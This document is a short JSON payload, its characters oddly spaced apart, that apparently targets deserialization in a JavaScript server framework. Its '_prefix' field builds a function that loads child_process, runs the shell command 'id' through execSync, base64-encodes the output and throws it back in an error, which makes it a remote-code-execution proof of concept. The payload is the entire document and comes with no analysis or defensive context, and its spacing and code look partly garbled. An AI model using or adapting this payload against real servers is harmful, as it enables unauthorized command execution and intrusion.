{ " t h e n " :   " $ @ " ,   " _ r e s p o n s e " :   { " _ p r e f i x " :   " c o n s t   F = n e w   F u n c t i o n ( ' r e t u r n   r e q u i r e ( \ \ \ " c h i l d _ p r o c e s s \ \ \ " ) ' , ' . e x e c S y n c ( \ \ \ " '   +   ' i d '   +   ' \ \ \ " , { m a x B u f f e r : 5 0 * 1 0 2 4 * 1 0 2 4 } ) ' , ' . t o S t r i n g ( \ \ \ " b a s e 6 4 \ \ \ " ) ' ; ) ( ) ; t h r o w   n e w   E r r o r ( F ) " } } 